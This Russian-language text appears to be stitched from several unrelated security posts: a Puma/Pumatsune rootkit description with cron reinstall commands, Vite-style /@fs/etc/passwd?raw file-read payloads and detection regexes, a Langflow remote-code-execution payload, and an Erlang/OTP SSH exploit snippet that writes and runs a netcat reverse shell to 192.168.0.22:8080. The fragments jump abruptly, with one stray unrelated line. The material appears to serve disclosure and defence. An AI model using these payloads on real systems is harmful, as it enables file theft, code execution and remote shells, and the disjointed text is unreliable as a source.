Puma — руткит в пространстве ядра, нацеленный на Linux-системы. Он попадает в инфраструктуру жертвы, когда легитимная утилита «Cron» заменяется специальным загрузчиком. Затем Puma закрепляется и загружается в ядро при каждом запуске системы.

/@fs/etc/passwd?<WORD>?raw

\/@fs\/([a-zA-Z0-9_-]+\/)*([a-zA-Z0-9_-]+).+?\?raw

Название Pumatsune выбрано не просто так. Этот руткит берет свое начало от руткита Kitsune, который известен с 2022 года. В отличие от старых версий, без поддержки из ядра Pumatsune работать не может.

В предыдущих постах мы рассказывали о двух руткитах — Puma и Pumatsune. Проверить систему на наличие руткита можно с помощью yara-правила, которое мы оставили в статье.

dpkg -S /usr/sbin/cron

cron: /usr/sbin/cron

apt-get download cron

pkg-deb -x cron_*.deb cron_orig

sudo systemctl stop cron

sudo install -m 755 -o root -g root cron_orig/usr/sbin/cron /usr/sbin/cron

sudo reboot

rpm -qf /usr/sbin/crond

cronie-1.4.11-25.el7_9.x86_64

yumdownloader cronie

sudo yum install -y yum-utils

rpm2cpio cronie-*.rpm | cpio -idmv ./usr/sbin/crond

sudo systemctl stop cron

sudo install -m 755 -o root -g root ./usr/sbin/crond /usr/sbin/crond

sudo reboot

Base Score: 5.3
CWE: CWE-200; CWE-284

/etc/passwd?inline=<NAME>.wasm?init

.+?\?inline=.*\.wasm\?init

Это ты на видео?

Langflow — инструмент с открытым исходным кодом, предназначенный для создания и управления потоками работы с использованием моделей искусственного интеллекта.

Base score: 9,8
CWE: 306

{
 "code": """
   def test(cd=exec('raise Exception(__import__("subprocess").check_output("ls -la", shell=True))')):
   pass
"""
}

Base Score: 10.0 CRITICAL
CWE-306

<= OTP-27.3.2
<= OTP-26.2.5.10
<= OTP-25.3.2.19

s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
banner = s.recv(1024) 

kex_packet = build_kexinit()
s.sendall(pad_packet(kex_packet))

chan_open = build_channel_open()
s.sendall(pad_packet(chan_open))

chan_req = build_channel_request(
    command='file:write_file("/lab.sh", <<"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.0.22 8080 >/tmp/f">>), os:cmd("chmod +x /lab.sh"), os:cmd("/lab.sh").'
)
s.sendall(pad_packet(chan_req))

file:write_file("/lab.sh", <<COMAND>>), os:cmd("chmod +x /lab.sh"), os:cmd("/lab.sh").

      byte      SSH_MSG_CHANNEL_OPEN # значение 0x5a
      string    "session"
      uint32    sender channel
      uint32    initial window size
      uint32    maximum packet size

      byte      SSH_MSG_CHANNEL_REQUEST # значение 0x62
      uint32    recipient channel
      string    "exec"
      boolean   want reply
      string    command